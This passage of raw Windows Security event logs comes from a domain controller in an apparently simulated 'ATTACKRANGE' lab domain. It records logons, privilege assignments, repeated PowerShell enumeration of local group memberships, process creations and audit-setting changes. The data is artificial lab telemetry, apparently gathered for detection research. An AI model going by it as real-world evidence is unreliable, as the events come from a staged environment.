EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247282
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247281
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x117ADF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247280
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x117047

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247279
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x115CD9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=User Account Management
OpCode=Info
RecordNumber=247278
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725

Process Information:
	Process ID:		0xe88
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=User Account Management
OpCode=Info
RecordNumber=247277
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725

Process Information:
	Process ID:		0xe88
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=User Account Management
OpCode=Info
RecordNumber=247276
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725

Process Information:
	Process ID:		0xe88
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=User Account Management
OpCode=Info
RecordNumber=247275
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725

Process Information:
	Process ID:		0xe88
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247274
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1180CA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247273
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1180CA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247272
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1180CA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0xe88
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247271
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=User Account Management
OpCode=Info
RecordNumber=247270
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

User:
	Security ID:		ATTACKRANGE\Guest
	Account Name:		Guest
	Account Domain:		WIN-DC-725

Process Information:
	Process ID:		0xe88
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=User Account Management
OpCode=Info
RecordNumber=247269
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

User:
	Security ID:		ATTACKRANGE\DefaultAccount
	Account Name:		DefaultAccount
	Account Domain:		WIN-DC-725

Process Information:
	Process ID:		0xe88
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=User Account Management
OpCode=Info
RecordNumber=247268
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725

Process Information:
	Process ID:		0xe88
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/11/2021 11:42:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247319
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x11BD5B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247318
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x11BD5B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247317
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247316
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247320
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Windows\Temp\62FEE3A1-7685-4BF9-8DD4-65270B4CC9F9\DismHost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd24
	Creator Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Process Command Line:	C:\Windows\TEMP\62FEE3A1-7685-4BF9-8DD4-65270B4CC9F9\dismhost.exe {84B727BC-76DE-49DE-9B2E-1FBF77324796}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247321
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\System32\wermgr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x418
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wermgr.exe -upload

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247485
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.Types.ps1xml
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247484
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.psd1
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247483
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\ActiveDirectory\ActiveDirectory.Format.ps1xml
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247482
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\schmmgmt.dll.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247481
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\repadmin.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247480
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\rendom.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247479
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\redirusr.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247478
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\redircmp.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247477
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\ntfrsapi.dll.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247476
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\ntdsutil.exe.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247475
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\ldp.exe.mui
	Handle ID:	0x5b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247474
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\ldifde.exe.mui
	Handle ID:	0x6f8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247473
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\gpfixup.exe.mui
	Handle ID:	0xb08

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247472
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\SysWOW64\en-US\dsuiwiz.dll.mui
	Handle ID:	0x5dc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
